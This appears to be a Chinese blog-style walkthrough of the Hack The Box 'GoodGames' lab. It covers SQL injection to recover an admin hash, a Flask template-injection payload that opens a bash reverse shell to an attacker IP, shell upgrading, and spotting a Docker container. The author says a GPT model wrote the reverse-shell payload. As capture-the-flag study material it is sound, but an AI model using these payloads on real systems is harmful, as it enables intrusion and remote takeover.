HTB GoodGames
进来一个网页,没啥功能点,一时间卡住了
看了看这个靶场的介绍
原来是打sql注入
数据库名main
表名user
列名email,password,name
admin@goodgames.htb,47bce5c74f589f4867dbd57e9ca9f808
md5解密得到superadministrator,name为admin
登录上来之后右上角多了个齿轮,点进去
一个可能要设置hosts的域名,在/etc/hosts里面加上域名到机器ip的解析即可进入,进来之后又是一个登录页面,用刚才的管理员号试试
进来发现有一些功能点,但是都没写逻辑,省了很多测的时间,这里是一个python的flask,尝试ssti
接下来思考能不能通过ssti拿到shell
让gpt写一个命令
{{self.__init__.__globals__.__builtins__.__import__('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.16.2/6666 0>&1'").read()}}
成功拿到shell,甚至还是root
但是进来之后root目录是空的,没有flag,但是只开了一台机器,也不太可能横向移动啊,flag会在哪呢
学到了,这玩意竟然是在docker里
发现有一个172.19.0.2的接口,而我又是root,所以不是本机
继续确认,没有augustus这个用户,所以可以确认了,当前机器在docker里
传fscan上去找一下主机
尝试ssh登录,报错显示当前终端是stdin,也就是伪终端,接下来将伪终端变成真终端
# 在nc界面输入如下
script /dev/null -c bash
# Ctrl+Z任务挂起后回到本机,输入如下将其切回前台
stty raw -echo; fg
# 重启
reset
# 选择类型
screen
在/home/augustus目录,主机和docker的文件是同步的,相当于一个共享文件夹
虽然急着打完去健身,但是在这一步还是理了理思维,学到很有用的东西。首先,我们看到home有augus这个用户,但是在/etc/passwd里没见到,所以它可能是直接从主机里挂载过来的,所以下一步查找挂载
mount | grep augustus
所以才有下一步主机创文件docker给他授权这步操作